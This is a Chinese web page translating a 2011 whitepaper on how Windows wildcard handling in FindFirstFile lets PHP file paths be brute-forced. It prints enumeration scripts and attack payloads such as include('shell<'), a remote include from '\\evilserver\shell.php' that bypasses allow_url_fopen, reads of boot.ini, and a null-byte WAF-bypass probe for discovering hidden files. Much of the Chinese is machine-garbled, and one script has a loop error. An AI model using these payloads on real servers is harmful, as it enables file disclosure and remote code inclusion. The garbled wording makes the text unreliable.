|
|
|
联系客服020-83701501

当Windows遇上PHP–路径爆破

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
当Windows遇上PHP–途径爆破

1.开场白

此次所披露的是以下网页中提出的标题问题所获得的测试后果:

http://code.google.com/p/pasc2at/wiki/SimplifiedChinese

Default
1234567 <?phpfor ($i=0; $i<255; $i++) {$url = '1.ph' . chr($i);$tmp = @file_get_contents($url);if (!empty($tmp)) echo chr($i) . "\r\n";}?>

已知1.php存在,以上剧本访问的后果是:

1.php

1.phP

1.ph<

1.ph>

都能失掉前往。

前两种能前往后果是总所周知的(由于windows的文件系统支持巨细的互转的机制),此外的两种前往引起了咱们的留心。

测试php版本:PHP4.9,PHP5.2,PHP5.3,PHP6.0

测试系统:WINXP SP3 X32,WINXP SP2 X64,WIN7,WIN2K3

经测试咱们得出的论断是:该裂痕影响悉数的windows+php版本

 

2.深刻探查晴明测试的后果

为了持续深刻探查关于该bug的音讯,咱们对demo做了些许批改:

Default
123456789 &lt;?phpfor ($j=0; $i&lt;256; $j++) {for ($i=0; $i&lt;256; $i++) {$url = '1.p' . chr($j) . chr($i);$tmp = @file_get_contents($url);if (!empty($tmp)) echo chr($j) . chr($i) . "\r\n";}}?&gt;

在调试php表冥具的进程中,咱们将此“怪异”的裂痕归结为一个Winapi 函数FindFirstFile()所产生的后果(http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx).更好玩的是,当跟踪函数调用栈的进程中咱们发明字符”>”被更改成”?”,字符”<”被更改成”*”,而标记”(双引号)被更改成一个”.”字符。这在2007年msdn乌黑的文档中被提及:http://msdn.microsoft.com/en-us/library/community/history/aa364418%28v=vs.85%29.aspx?id=3

但是此bug至今未被任何windows旗下所刊行的任何版本修复!

咱们要阐明的是,该函数FindFirstFile()在php下的行使远远不至于file_get_contents().关于该bug或是操纵的函数咱们曾经列了以下一表:

zt1

 

其余,咱们还发明该操纵也或是被行使到c++中,以下驳回来自msdn的例子:

Default
1234567891011121314151617181920212223242526 #include &lt;windows.h&gt;#include &lt;tchar.h&gt;#include &lt;stdio.h&gt;void _tmain(int argc, TCHAR *argv[]){WIN32_FIND_DATA FindFileData;HANDLE hFind;if( argc != 2 ){_tprintf(TEXT("Usage: %s [target_file]\n"), argv[0]);return;}_tprintf (TEXT("Target file is %s\n"), argv[1]);hFind = FindFirstFile(argv[1], &amp;FindFileData);if (hFind == INVALID_HANDLE_VALUE){printf ("FindFirstFile failed (%d)\n", GetLastError());return;}else{_tprintf (TEXT("The first file found is %s\n"),FindFileData.cFileName);FindClose(hFind);}}

当传入参数”c:\bo<”时,胜利访问到boot.ini文件。

 

3.操纵口头总结

  • 当调用FindFirstFile()函数时,”<”被更改成”*”,这象征该规定规矩或是使”<”更改多个苟且字符,但是测试中发明其实不是所无情况都如咱们所愿。以是,为了确保梗概使”<”被更改成”*”,理当驳回”<<”
  • EXAMPLE:include(‘shell<’);? 或是include(‘shell<<’);??? //当文件夹中超越一个以shell打头的文件时,该履行取按字母表排序后的第一个文件。
  • 当调用FindFirstFile()函数时,”>”被更改成”?”,这象征这”>”或是更改单个苟且字符
  • EXAMPLE:include(‘shell.p>p’); ?? //当文件中超越一个以shell.p?p 通配时,该履行取按字母表排序后的第一个文件。
  • 当调用FindFirstFile()函数时,”””(双引号)被更改成”.”
  • EXAMPLE:include(‘shell”php’);??? //===>include(‘shell.php’);
  • 假定文件名第一个字符是”.”的话,读取时或是忽略之
  • EXAMPLE:fopen(‘.htacess’);? //==>fopen(‘htacess’);?? //加之第一点中的操纵 ==>fopen(‘h<<’);
  • 文件名劈头或是加之一系列的/或是\的合集,你也或是在/或是\两端加之.字符,只要确保扫尾一位为”.”
  • EXAMPLE:fopen(“config.ini\\.// \/\/\/.”);==>? fopen(‘config.ini\./.\.’); ==>fopen(‘config.ini/////.’)==>fopen(‘config.ini…..’)?? //译者注:此处的操纵我不是很意识,有何作用?截断?
  • 该函数也或是调用以”\\”打头的网络共享文件,当然这会破费不短的工夫。补充一点,假定共享名不存在时,该文件独霸将会额外破费4秒钟的工夫,并兴许触发工夫相应机制以及max_execution_time抛错。所幸的是,该操纵或是用来绕过allow_url_fopen=Off 并终极招致一个RFI(远程文件囊括)
  • EXAMPLE:include (‘\\evilserver\shell.php’);
  • 用以下口头还或是切换文件的盘名
  • include(‘\\.\C:\my\file.php\..\..\..\D:\anotherfile.php’);
  • 决议磁盘命名语法或是用来绕过斜线字符过滤
  • file_get_contents(‘C:boot.ini’); //==>? file_get_contents (‘C:/boot.ini’);
  • 在php的呼吁行环境下(php.exe),关于系统保管名文件的操纵细节
  • EXAMPLE:file_get_contents(‘C:/tmp/con.jpg’); //此举将会无休无止地从CON配备读取0字节,直到碰到eof
  • EXAMPLE:file_put_contents(‘C:/tmp/con.jpg’,chr(0×07));? //此举将会不时地使供职器发出类似哔哔的声响

 

4.更深刻的操纵口头

除了以上曾经体现的口头,你或是用上面的姿势来绕过WAF或是文件名过滤

请考虑该例:

Default
1234 &lt;?phpfile_get_contents("/images/".$_GET['a'].".jpg");//or another function from Table 1, i.e. include().?&gt;

访问test.php?a=../a<%00

兴许涌现两种后果

  • Warning: include(/images/../a<) [function.include]: failed to open stream:Invalid argument in。。。
  • Warning: include(/images/../a<) [function.include]: failed to open stream:Permission denied。。

假定是第一种情况,阐明不存在a打头的文件,第二种则存在。

 

其余,有记载示意,偶然web会抛出以下差池:

Warning: include(/admin_h1d3) [function.include]: failed to open stream: Permission denied..

这阐明该文件夹下存在一个以上以a打头的文件(夹),并且第一个即是admin_h1d3。

 

5.论断

实验告诉咱们,php大家不有那么多的裂痕,咱们所看到是:过分的寄予于另一种法度模范言语(注:如文中的裂痕产自与winapi的一个BUG),并且直接强 制利用,将会招致细微的差池(bug),并终极组成侵陵(vul).多么便拓宽了晴明测试的范围(译者注:其实不光仅去研究web层面,而深刻到系统底层),并终极招致IDS,IPS的规定规矩更新。当然,代码需要保护,需要补丁,需要升级与扩充。但是,这其实不是咱们真正要去存眷的标题问题。在当下,我以为咱们 更审慎地去缮写更多更凶险的过滤规定规矩,正如咱们不停在做的异样。随心所欲,千锤百炼。

由于这是根本操纵层的标题问题,以是咱们意料类似的标题问题兴许涌此刻其余web操纵中。于是咱们还测试了mysql5,而实验后果表明,mysql5其实不存在类似的裂痕。但是咱们仍以为:类似的裂痕将会涌此刻诸如Perl、Python、Ruby等表明性言语上。

6.Referer

PHP application source code audits advanced technology: http://code.google.com/p/pasc2at/wiki/SimplifiedChinese MSDN FindFirstFile Function reference: http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx MSDN comments history: http://msdn.microsoft.com/en-us/library/community/history/aa364418(v=vs.85).aspx?id=3 MSDN article ?Naming Files, Paths, and Namespaces?: http://msdn.microsoft.com/en-us/library/aa365247(v=vs.85).aspx Technet article ?Managing Files and Directories?: http://technet.microsoft.com/en-us/library/cc722482.aspx Paper ?Technique of quick exploitation of 2blind SQL Injection?: http://www.exploit-db.com/papers/13696/ ?================================================================== 全文完。 注:该文是2011年底发表的一篇白皮书,至今该bug依然存在。我在几个月前做CUIT的一个CTF时偶遇了一道该bug的操纵,其时即是看的此文,其时只是粗粗读了一下,写了一个php的剧本去跑目次。今回闲来无事,翻译整理了一番。 原文pdf:http://onsec.ru/onsec.whitepaper-02.eng.pdf [via@音符]

数安新闻+更多

证书相关+更多